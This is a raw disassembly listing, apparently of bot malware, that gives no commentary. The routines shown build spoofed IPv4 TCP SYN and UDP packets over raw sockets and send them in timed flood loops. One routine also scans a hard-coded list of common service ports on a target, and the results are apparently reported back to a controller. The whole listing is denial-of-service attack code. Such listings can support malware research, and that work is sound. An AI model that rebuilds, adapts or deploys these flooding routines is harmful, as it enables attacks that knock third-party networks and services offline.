push eax
call sub_417D70
push dword ptr [ebp-48h]
call sub_40B149
pop ecx
pop ecx
push ebx
call ds:dword_42B068 ; ExitThread
loc_416ED9: ; CODE XREF: seg000:00416E34j
push dword ptr [ebp+70h]
call ds:dword_444218 ; closesocket
call ds:dword_4441C4 ; WSAGetLastError
push eax
push dword ptr [ebp+7Ch]
lea eax, [ebp-1C8h]
push eax
push offset unk_4357C8
lea eax, [ebp-3CCh]
push 200h
push eax
call sub_41E6FE
add esp, 18h
jmp loc_416B98
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F11 proc near ; CODE XREF: sub_416F65+19Ap
; sub_416F65+207p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
push esi
xor esi, esi
cmp ecx, 1
mov [ebp+arg_4], esi
jle short loc_416F3F
lea eax, [ecx-2]
shr eax, 1
inc eax
push edi
lea edi, [eax+eax]
sub ecx, edi
loc_416F31: ; CODE XREF: sub_416F11+28j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec eax
jnz short loc_416F31
pop edi
cmp ecx, 1
loc_416F3F: ; CODE XREF: sub_416F11+12j
jnz short loc_416F4C
mov al, [edx]
mov byte ptr [ebp+arg_4], al
movzx eax, word ptr [ebp+arg_4]
add esi, eax
loc_416F4C: ; CODE XREF: sub_416F11:loc_416F3Fj
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop esi
pop ebp
retn
sub_416F11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F65 proc near ; CODE XREF: seg000:00417210p
var_D0 = dword ptr -0D0h
var_C8 = byte ptr -0C8h
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_9E = word ptr -9Eh
var_9C = byte ptr -9Ch
var_88 = byte ptr -88h
var_74 = word ptr -74h
var_72 = word ptr -72h
var_70 = dword ptr -70h
var_64 = byte ptr -64h
var_60 = byte ptr -60h
var_5F = byte ptr -5Fh
var_5E = byte ptr -5Eh
var_54 = dword ptr -54h
var_50 = byte ptr -50h
var_4E = word ptr -4Eh
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = byte ptr -48h
var_47 = byte ptr -47h
var_46 = word ptr -46h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = word ptr -3Ch
var_3A = word ptr -3Ah
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_24 = byte ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_194 = dword ptr 19Ch
arg_198 = dword ptr 1A0h
push ebp
mov ebp, esp
sub esp, 0C8h
and [ebp+var_4], 0
push esi
mov esi, ds:dword_42B038
call esi ; GetTickCount
push 0FFh
push 3
push 2
mov [ebp+var_C], eax
call ds:dword_444100 ; socket
mov [ebp+var_8], eax
call esi ; GetTickCount
push eax
call sub_41ECD4
mov [esp+0D0h+var_D0], 578h
push 9
push 1
call sub_41B325
pop ecx
pop ecx
push eax
lea eax, [ebp+var_24]
push eax
call sub_41E5F0
add esp, 0Ch
call esi ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_198]
ja loc_4171AD
push ebx
push edi
mov edi, 5A0h
loc_416FD8: ; CODE XREF: sub_416F65+240j
cmp ds:dword_4D5898, 0
jnz short loc_417039
push 10h
pop eax
push eax
mov [ebp+var_10], eax
lea eax, [ebp+var_64]
push 0
push eax
call sub_41E5F0
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_64]
push eax
push [ebp+arg_0]
call ds:dword_444068 ; getsockname
push 0FFh
push 1
call sub_41B325
push eax
movzx eax, [ebp+var_5E]
push eax
movzx eax, [ebp+var_5F]
push eax
movzx eax, [ebp+var_60]
push eax
lea eax, [ebp+var_C8]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax
call sub_41E6A6
add esp, 20h
jmp short loc_41704C
; ---------------------------------------------------------------------------
loc_417039: ; CODE XREF: sub_416F65+7Aj
lea eax, [ebp+var_C8]
push offset dword_4D5698
push eax
call sub_41EEC0
pop ecx
pop ecx
loc_41704C: ; CODE XREF: sub_416F65+D2j
lea eax, [ebp+var_C8]
push eax
call ds:dword_44417C ; inet_addr
mov ebx, eax
mov eax, [ebp+var_54]
and eax, 0FFFFFF45h
or eax, 45h
push edi
mov [ebp+var_54], eax
mov [ebp+var_50], 10h
call ds:dword_444260 ; htons
mov [ebp+var_4E], ax
call sub_41ECDE
and [ebp+var_46], 0
mov [ebp+var_4C], ax
mov eax, [ebp+arg_194]
mov [ebp+var_4A], 40h
mov [ebp+var_48], 40h
mov [ebp+var_47], 6
mov [ebp+var_44], ebx
mov [ebp+var_40], eax
call sub_41ECDE
mov [ebp+var_3C], ax
call sub_41ECDE
mov [ebp+var_3A], ax
call sub_41ECDE
mov [ebp+var_38], eax
call sub_41ECDE
mov ebx, [ebp+var_40]
and [ebp+var_2A], 0
and [ebp+var_28], 0
mov [ebp+var_34], eax
mov eax, [ebp+var_30]
and ax, 0FF50h
or ax, 50h
mov word ptr [ebp+var_30], ax
mov ax, [ebp+var_3A]
mov [ebp+var_72], ax
lea eax, [ebp+var_54]
push 14h
push eax
mov byte ptr [ebp+var_30+2], 18h
mov [ebp+var_2C], 787Dh
mov [ebp+var_74], 2
mov [ebp+var_70], ebx
call sub_416F11
pop ecx
pop ecx
mov [ebp+var_46], ax
mov eax, [ebp+var_44]
push 58Ch
mov [ebp+var_A8], eax
mov [ebp+var_A4], ebx
mov [ebp+var_A0], 0
mov [ebp+var_9F], 6
call ds:dword_42B200 ; htons
mov [ebp+var_9E], ax
push 14h
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_3C]
push eax
call sub_41F400
push 578h
lea eax, [ebp+var_88]
push eax
lea eax, [ebp+var_24]
push eax
call sub_41F400
lea eax, [ebp+var_A8]
push 598h
push eax
call sub_416F11
add esp, 20h
mov [ebp+var_2A], ax
push 10h
lea eax, [ebp+var_74]
push eax
push 0
push edi
lea eax, [ebp+var_54]
push eax
push [ebp+var_8]
call ds:dword_4440CC ; sendto
inc [ebp+var_4]
call esi ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_198]
jbe loc_416FD8
pop edi
pop ebx
loc_4171AD: ; CODE XREF: sub_416F65+66j
push [ebp+var_8]
call ds:dword_444218 ; closesocket
mov eax, [ebp+var_4]
pop esi
leave
retn
sub_416F65 endp
; ---------------------------------------------------------------------------
loc_4171BC: ; DATA XREF: sub_40274D+69BBo
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+8]
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp-194h]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp-110h]
push eax
call sub_41E7AD
pop ecx
push eax
lea eax, [ebp-190h]
push eax
call ds:dword_44417C ; inet_addr
push eax
sub esp, 194h
push 65h
pop ecx
lea esi, [ebp-194h]
mov edi, esp
rep movsd
call sub_416F65
push eax
lea eax, [ebp-394h]
push offset unk_4358F4
push eax
call sub_41E6A6
xor esi, esi
add esp, 1A8h
cmp [ebp-8], esi
jnz short loc_417254
push esi
push dword ptr [ebp-0Ch]
lea eax, [ebp-394h]
push eax
lea eax, [ebp-90h]
push eax
push dword ptr [ebp-194h]
call sub_40123B
add esp, 14h
loc_417254: ; CODE XREF: seg000:00417232j
lea eax, [ebp-394h]
push eax
call sub_417D70
push dword ptr [ebp-10h]
call sub_40B149
pop ecx
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417272 proc near ; CODE XREF: seg000:0041762Ep
var_254 = byte ptr -254h
var_54 = byte ptr -54h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_2F = byte ptr -2Fh
var_2E = byte ptr -2Eh
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_84 = byte ptr 8Ch
arg_104 = byte ptr 10Ch
arg_184 = byte ptr 18Ch
arg_208 = dword ptr 210h
arg_20C = dword ptr 214h
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push edi
mov ebx, 0FFh
push ebx
push 3
push 2
call ds:dword_444100 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jnz short loc_4172AC
lea eax, [ebp+var_254]
push offset unk_435AE0
push eax
call sub_41E6A6
pop ecx
pop ecx
xor edi, edi
jmp short loc_417302
; ---------------------------------------------------------------------------
loc_4172AC: ; CODE XREF: sub_417272+21j
push 4
lea ecx, [ebp+var_14]
push ecx
push 2
xor edi, edi
push edi
push eax
mov [ebp+var_14], 1
call ds:dword_444120 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_4172D8
call ds:dword_4441C4 ; WSAGetLastError
push eax
push offset unk_435A90
jmp short loc_4172F3
; ---------------------------------------------------------------------------
loc_4172D8: ; CODE XREF: sub_417272+56j
lea eax, [ebp+arg_4]
push eax
call ds:dword_44417C ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_417333
call ds:dword_4441C4 ; WSAGetLastError
push eax
push offset unk_435A48
loc_4172F3: ; CODE XREF: sub_417272+64j
lea eax, [ebp+var_254]
push eax
call sub_41E6A6
add esp, 0Ch
loc_417302: ; CODE XREF: sub_417272+38j
cmp [ebp+arg_20C], edi
jnz loc_4175C8
push edi
push [ebp+arg_208]
lea eax, [ebp+var_254]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_40123B
add esp, 14h
jmp loc_4175C8
; ---------------------------------------------------------------------------
loc_417333: ; CODE XREF: sub_417272+73j
push esi
push edi
mov [ebp+var_24], 2
call ds:dword_444260 ; htons
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call ds:dword_42B218 ; inet_addr
mov esi, ds:dword_42B038
mov [ebp+var_20], eax
call esi ; GetTickCount
mov [ebp+var_8], eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_435A1C
push eax
call sub_41E6A6
add esp, 0Ch
cmp [ebp+arg_20C], edi
jnz short loc_41739D
push edi
push [ebp+arg_208]
lea eax, [ebp+var_254]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_40123B
add esp, 14h
loc_41739D: ; CODE XREF: sub_417272+109j
mov [ebp+var_4], edi
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, eax
lea eax, [ebp+arg_104]
push eax
call sub_41E7AD
cmp esi, eax
pop ecx
ja loc_417556
mov esi, 41Ch
jmp short loc_4173D1
; ---------------------------------------------------------------------------
loc_4173CC: ; CODE XREF: sub_417272+2DEj
mov ebx, 0FFh
loc_4173D1: ; CODE XREF: sub_417272+158j
cmp ds:dword_4D5898, edi
jnz short loc_417429
push 10h
pop eax
push eax
mov [ebp+var_10], eax
lea eax, [ebp+var_34]
push edi
push eax
call sub_41E5F0
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+arg_0]
call ds:dword_444068 ; getsockname
push ebx
push 1
call sub_41B325
push eax
movzx eax, [ebp+var_2E]
push eax
movzx eax, [ebp+var_2F]
push eax
movzx eax, [ebp+var_30]
push eax
lea eax, [ebp+var_54]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax
call sub_41E6A6
add esp, 20h
jmp short loc_417439
; ---------------------------------------------------------------------------
loc_417429: ; CODE XREF: sub_417272+165j
lea eax, [ebp+var_54]
push offset dword_4D5698
push eax
call sub_41EEC0
pop ecx
pop ecx
loc_417439: ; CODE XREF: sub_417272+1B5j
push esi
mov ds:byte_4D58A0, 45h
call ds:dword_444260 ; htons
mov ds:word_4D58A2, ax
lea eax, [ebp+var_54]
push eax
mov ds:word_4D58A4, 1
mov ds:word_4D58A6, di
mov ds:byte_4D58A8, 80h
mov ds:byte_4D58A9, 11h
mov ds:word_4D58AA, di
call ds:dword_44417C ; inet_addr
mov ds:dword_4D58AC, eax
mov eax, [ebp+var_20]
mov ds:dword_4D58B0, eax
lea eax, [ebp+arg_84]
push eax
mov ds:word_4D58BA, di
call sub_41E7AD
test eax, eax
pop ecx
jnz short loc_4174B1
call sub_41ECDE
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_4174BF
; ---------------------------------------------------------------------------
loc_4174B1: ; CODE XREF: sub_417272+22Dj
lea eax, [ebp+arg_84]
push eax
call sub_41E7AD
pop ecx
push eax
loc_4174BF: ; CODE XREF: sub_417272+23Dj
call ds:dword_444260 ; htons
mov ds:word_4D58B6, ax
call sub_41ECDE
cdq
mov ecx, 401h
idiv ecx
push 408h
mov ds:word_4D58B4, dx
call ds:dword_444260 ; htons
push 400h
mov ds:word_4D58B8, ax
call sub_41ECDE
cdq
idiv ebx
push edx
push offset dword_4D58BC
call sub_41E5F0
add esp, 0Ch
push 10h
lea eax, [ebp+var_24]
push eax
push edi
push esi
push offset byte_4D58A0
push [ebp+var_C]
call ds:dword_4440CC ; sendto
cmp eax, 0FFFFFFFFh
jz loc_4175CE
inc [ebp+var_4]
call ds:dword_42B038 ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, eax
lea eax, [ebp+arg_104]
push eax
call sub_41E7AD
cmp ebx, eax
pop ecx
jbe loc_4173CC
loc_417556: ; CODE XREF: sub_417272+14Dj
push [ebp+var_C]
call ds:dword_444218 ; closesocket
mov esi, [ebp+var_4]
lea eax, [ebp+arg_104]
imul esi, 41Ch
push eax
call sub_41E7AD
mov ecx, eax
mov eax, esi
shr eax, 0Ah
xor edx, edx
div ecx
shr esi, 14h
push eax
push esi
push [ebp+var_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_4359B8
push eax
call sub_41E6A6
add esp, 1Ch
loc_41759F: ; CODE XREF: sub_417272+37Fj
cmp [ebp+arg_20C], edi
jnz short loc_4175C7
push edi
push [ebp+arg_208]
lea eax, [ebp+var_254]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_40123B
add esp, 14h
loc_4175C7: ; CODE XREF: sub_417272+333j
pop esi
loc_4175C8: ; CODE XREF: sub_417272+96j
; sub_417272+BCj
pop edi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4175CE: ; CODE XREF: sub_417272+2B2j
push [ebp+var_4]
push esi
call ds:dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_435928
push eax
call sub_41E6A6
add esp, 18h
jmp short loc_41759F
sub_417272 endp
; ---------------------------------------------------------------------------
loc_4175F3: ; DATA XREF: sub_40274D+4A49o
push ebp
mov ebp, esp
sub esp, 414h
mov edx, [ebp+8]
push esi
push edi
mov eax, 85h
mov ecx, eax
mov esi, edx
lea edi, [ebp-214h]
rep movsd
sub esp, 214h
mov ecx, eax
lea esi, [ebp-214h]
mov edi, esp
mov dword ptr [edx+210h], 1
rep movsd
call sub_417272
push eax
lea eax, [ebp-414h]
push offset unk_435B0C
push eax
call sub_41E6A6
lea eax, [ebp-414h]
add esp, 220h
push eax
call sub_417D70
push dword ptr [ebp-10h]
call sub_40B149
pop ecx
pop ecx
push 0
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
; =============== S U B R O U T I N E =======================================
sub_41766A proc near ; CODE XREF: sub_41776E+289p
arg_0 = dword ptr 4
push 0FFFEh
push 1
call sub_41B325
pop ecx
pop ecx
mov ecx, [esp+arg_0]
shl eax, 10h
and ecx, 0FFFFh
or eax, ecx
retn
sub_41766A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417688 proc near ; CODE XREF: sub_41776E+178p
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
and [ebp+var_4], 0
cmp [ebp+arg_C], 0
jnz short loc_4176AC
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_42B1F4 ; connect
leave
retn
; ---------------------------------------------------------------------------
loc_4176AC: ; CODE XREF: sub_417688+11j
push esi
mov esi, [ebp+arg_0]
push edi
lea eax, [ebp+var_C]
push eax
xor edi, edi
push 8004667Eh
inc edi
push esi
mov [ebp+var_C], edi
call ds:dword_42B1E4 ; ioctlsocket
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call ds:dword_4440AC ; connect
push [ebp+arg_C]
lea eax, [ebp+var_214]
push 0
push eax
lea eax, [ebp+var_110]
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_10C], esi
mov [ebp+var_110], edi
mov [ebp+var_210], esi
mov [ebp+var_214], edi
call ds:dword_4441B0 ; select
test eax, eax
jnz short loc_417712
or eax, 0FFFFFFFFh
jmp short loc_41776A
; ---------------------------------------------------------------------------
loc_417712: ; CODE XREF: sub_417688+83j
or edi, 0FFFFFFFFh
cmp eax, edi
jz short loc_41775F
lea eax, [ebp+var_110]
push eax
push esi
call sub_4298D6 ; __WSAFDIsSet
test eax, eax
jnz short loc_41773B
lea eax, [ebp+var_214]
push eax
push esi
call sub_4298D6 ; __WSAFDIsSet
test eax, eax
jz short loc_41775F
loc_41773B: ; CODE XREF: sub_417688+A0j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push 1007h
push 0FFFFh
push esi
mov [ebp+var_8], 4
call ds:dword_42B1D4 ; getsockopt
cmp eax, edi
jnz short loc_417763
loc_41775F: ; CODE XREF: sub_417688+8Fj
; sub_417688+B1j
mov eax, edi
jmp short loc_41776A
; ---------------------------------------------------------------------------
loc_417763: ; CODE XREF: sub_417688+D5j
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
loc_41776A: ; CODE XREF: sub_417688+88j
; sub_417688+D9j
pop edi
pop esi
leave
retn
sub_417688 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=6Ch
sub_41776E proc near ; CODE XREF: seg000:00417C19p
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_9C = word ptr -9Ch
var_9A = word ptr -9Ah
var_98 = dword ptr -98h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
lea ebp, [esp-6Ch]
sub esp, 10Ch
push ebx
push esi
push edi
xor esi, esi
inc esi
push esi
xor ebx, ebx
push ebx
push ebx
push 0FFh
push 3
push 2
mov [ebp+6Ch+var_14], esi
call ds:dword_42B1D0 ; WSASocketA
push 4
lea ecx, [ebp+6Ch+var_14]
push ecx
push 2
push ebx
push eax
mov ds:dword_4D5D20, eax
call ds:dword_444120 ; setsockopt
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
pop ecx
push 19h
pop ecx
xor eax, eax
lea edi, [ebp+6Ch+var_100]
mov [ebp+6Ch+var_7C], ecx
mov [ebp+6Ch+var_10C], ebx
mov [ebp+6Ch+var_108], ebx
mov [ebp+6Ch+var_104], ebx
mov [ebp+6Ch+var_8C], 401h
mov [ebp+6Ch+var_88], 15h
mov [ebp+6Ch+var_84], 16h
mov [ebp+6Ch+var_80], 17h
mov [ebp+6Ch+var_78], 35h
mov [ebp+6Ch+var_74], 50h
mov [ebp+6Ch+var_70], 51h
mov [ebp+6Ch+var_6C], 58h
mov [ebp+6Ch+var_68], 6Eh
mov [ebp+6Ch+var_64], 71h
mov [ebp+6Ch+var_60], 77h
mov [ebp+6Ch+var_5C], 87h
mov [ebp+6Ch+var_58], 89h
mov [ebp+6Ch+var_54], 8Bh
mov [ebp+6Ch+var_50], 8Fh
mov [ebp+6Ch+var_4C], 1BBh
mov [ebp+6Ch+var_48], 1BDh
mov [ebp+6Ch+var_44], 400h
mov [ebp+6Ch+var_40], 599h
mov [ebp+6Ch+var_3C], 5DCh
mov [ebp+6Ch+var_38], 6B8h
mov [ebp+6Ch+var_34], 0CEAh
mov [ebp+6Ch+var_30], 0D3Dh
mov [ebp+6Ch+var_2C], 1388h
mov [ebp+6Ch+var_28], 1A0Bh
mov [ebp+6Ch+var_24], 1F40h
mov [ebp+6Ch+var_20], 1F90h
rep stosd
mov [ebp+6Ch+var_C], ebx
mov [ebp+6Ch+var_1C], 3
mov [ebp+6Ch+var_18], 0BB8h
mov [ebp+6Ch+var_4], ebx
loc_4178AB: ; CODE XREF: sub_41776E+1A5j
mov eax, [ebp+6Ch+arg_0]
mov edi, [ebp+6Ch+var_4]
mov [ebp+6Ch+var_98], eax
xor eax, eax
lea edi, [ebp+edi+6Ch+var_8C]
mov ax, [edi]
mov [ebp+6Ch+var_9C], 2
push eax
call ds:dword_444260 ; htons
push ebx
push esi
push 2
mov [ebp+6Ch+var_9A], ax
call ds:dword_444100 ; socket
lea ecx, [ebp+6Ch+var_1C]
push ecx
push 10h
lea ecx, [ebp+6Ch+var_9C]
push ecx
push eax
mov [ebp+6Ch+var_8], eax
call sub_417688
add esp, 10h
push [ebp+6Ch+var_8]
mov [ebp+6Ch+var_10], eax
call ds:dword_444218 ; closesocket
cmp [ebp+6Ch+var_10], ebx
jnz short loc_41790B
mov eax, [edi]
mov ecx, [ebp+6Ch+var_4]
mov [ebp+ecx+6Ch+var_10C], eax
loc_41790B: ; CODE XREF: sub_41776E+18Fj
add [ebp+6Ch+var_4], 4
cmp [ebp+6Ch+var_4], 70h
jl short loc_4178AB
push offset asc_42FCE0 ; " "
mov esi, offset dword_4D5D28
push esi
call sub_41E6A6
mov edi, ds:dword_42B038
pop ecx
pop ecx
call edi ; GetTickCount
mov [ebp+6Ch+var_8], eax
mov [ebp+6Ch+var_4], ebx
loc_417935: ; CODE XREF: sub_41776E+21Ej
call edi ; GetTickCount
sub eax, [ebp+6Ch+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+6Ch+arg_4]
ja short loc_41798E
mov eax, [ebp+6Ch+var_4]
mov eax, [ebp+eax*4+6Ch+var_10C]
cmp eax, ebx
jz short loc_41796B
push eax
push esi
push offset aSD ; "%s%d "
push esi
mov [ebp+6Ch+var_C], eax
call sub_41E6A6
add esp, 10h
jmp short loc_417985
; ---------------------------------------------------------------------------
loc_41796B: ; CODE XREF: sub_41776E+1E6j
push 0FFFFh
push ebx
call sub_41B325
pop ecx
pop ecx
push eax
call ds:dword_444260 ; htons
movzx eax, ax
mov [ebp+6Ch+var_C], eax
loc_417985: ; CODE XREF: sub_41776E+1FBj
inc [ebp+6Ch+var_4]
cmp [ebp+6Ch+var_4], 1Ch
jl short loc_417935
loc_41798E: ; CODE XREF: sub_41776E+1D8j
; sub_41776E+448j
push 28h
push ebx
push offset byte_4D5CE0
call sub_41E5F0
mov esi, 0FFFFh
push esi
push 400h
mov ds:byte_4D5CE0, 45h
mov ds:byte_4D5CE9, 6
mov ds:byte_4D5CE1, 8
call sub_41B325
add esp, 14h
push eax
call ds:dword_444260 ; htons
push 28h
mov ds:word_4D5CE4, ax
call ds:dword_444260 ; htons
cmp ds:dword_4D5898, ebx
mov ds:word_4D5CE2, ax
mov ds:word_4D5CE6, bx
mov ds:byte_4D5CE8, 0FFh
jnz short loc_4179FF
push [ebp+6Ch+arg_0]
call sub_41766A
pop ecx
jmp short loc_417A0A
; ---------------------------------------------------------------------------
loc_4179FF: ; CODE XREF: sub_41776E+284j
push offset dword_4D5698
call ds:dword_44417C ; inet_addr
loc_417A0A: ; CODE XREF: sub_41776E+28Fj
mov ds:dword_4D5CEC, eax
mov eax, [ebp+6Ch+arg_0]
push 4000h
mov ds:dword_4D5CF0, eax
mov ds:byte_4D5D01, bl
call ds:dword_444260 ; htons
push esi
push ebx
mov ds:word_4D5D02, ax
call sub_41B325
mov edi, eax
push esi
push ebx
shl edi, 8
call sub_41B325
add esp, 10h
add edi, eax
push edi
call ds:dword_444234 ; htonl
mov edi, [ebp+6Ch+arg_0]
mov ds:dword_4D5CF8, eax
mov al, ds:byte_4D5D00
and al, 0Fh
or al, 50h
mov ds:byte_4D5D00, al
mov ax, word ptr [ebp+6Ch+var_C]
push 14h
mov ds:dword_4D5CFC, ebx
mov ds:word_4D5D06, bx
mov ds:word_4D5CF6, ax
mov ds:dword_4D5CC0, edi
mov ds:byte_4D5CC4, bl
mov ds:byte_4D5CC5, 6
call ds:dword_444260 ; htons
mov ds:word_4D5CC6, ax
mov ax, ds:word_4D5CF6
mov ds:word_4D5D0C, 2
mov ds:dword_4D5D10, edi
mov ds:word_4D5D0E, ax
mov [ebp+6Ch+var_4], ebx
jmp short loc_417AC0
; ---------------------------------------------------------------------------
loc_417ABB: ; CODE XREF: sub_41776E+422j
mov esi, 0FFFFh
loc_417AC0: ; CODE XREF: sub_41776E+34Bj
cmp [ebp+6Ch+var_4], ebx
push esi
push ebx
jnz short loc_417AF4
call sub_41B325
pop ecx
pop ecx
push eax
call ds:dword_444260 ; htons
mov ds:word_4D5CF4, ax
mov eax, ds:dword_4D5CEC
mov ds:dword_4D5CBC, eax
mov ds:byte_4D5D01, 2
mov ds:dword_4D5CFC, ebx
jmp short loc_417B11
; ---------------------------------------------------------------------------
loc_417AF4: ; CODE XREF: sub_41776E+357j
mov ds:byte_4D5D01, 10h
call sub_41B325
pop ecx
pop ecx
push eax
call ds:dword_444260 ; htons
movzx eax, ax
mov ds:dword_4D5CFC, eax
loc_417B11: ; CODE XREF: sub_41776E+384j
inc ds:word_4D5CE4
inc ds:dword_4D5CF8
mov ax, ds:word_4D5CF6
push 5
pop ecx
mov ds:word_4D5CEA, bx
mov ds:word_4D5D04, bx
mov esi, offset word_4D5CF4
mov edi, offset dword_4D5CC8
rep movsd
push 14h
mov esi, offset byte_4D5CE0
push esi
mov ds:word_4D5D0E, ax
call sub_402422
push 20h
push offset dword_4D5CBC
mov ds:word_4D5CEA, ax
call sub_402422
add esp, 10h
push 10h
push offset word_4D5D0C
push ebx
push 28h
push esi
push ds:dword_4D5D20
mov ds:word_4D5D04, ax
call ds:dword_4440CC ; sendto
inc [ebp+6Ch+var_4]
cmp [ebp+6Ch+var_4], 3FFh
jl loc_417ABB
call ds:dword_42B038 ; GetTickCount
sub eax, [ebp+6Ch+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+6Ch+arg_4]
ja short loc_417BBB
push [ebp+6Ch+arg_8]
call ds:dword_42B014 ; Sleep
jmp loc_41798E
; ---------------------------------------------------------------------------
loc_417BBB: ; CODE XREF: sub_41776E+43Dj
pop edi
pop esi
mov eax, offset dword_4D5D28
pop ebx
add ebp, 6Ch
leave
retn
sub_41776E endp
; ---------------------------------------------------------------------------
loc_417BC8: ; DATA XREF: sub_40274D+605Co
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+8]
push esi
push edi
mov esi, eax
mov ecx, 85h
lea edi, [ebp-214h]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp-110h]
push eax
call sub_41E7AD
pop ecx
push eax
lea eax, [ebp-190h]
push eax
call sub_41E7AD
pop ecx
push eax
lea eax, [ebp-210h]
push eax
call ds:dword_44417C ; inet_addr
push eax
call sub_41776E
push eax
lea eax, [ebp-414h]
push offset unk_435B54
push eax
call sub_41E6A6
xor esi, esi
add esp, 18h
cmp [ebp-8], esi
jnz short loc_417C5A
push esi
push dword ptr [ebp-0Ch]
lea eax, [ebp-414h]
push eax
lea eax, [ebp-90h]
push eax
push dword ptr [ebp-214h]
call sub_40123B
add esp, 14h
loc_417C5A: ; CODE XREF: seg000:00417C38j
lea eax, [ebp-414h]
push eax
call sub_417D70
push dword ptr [ebp-10h]
call sub_40B149
pop ecx
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
; =============== S U B R O U T I N E =======================================
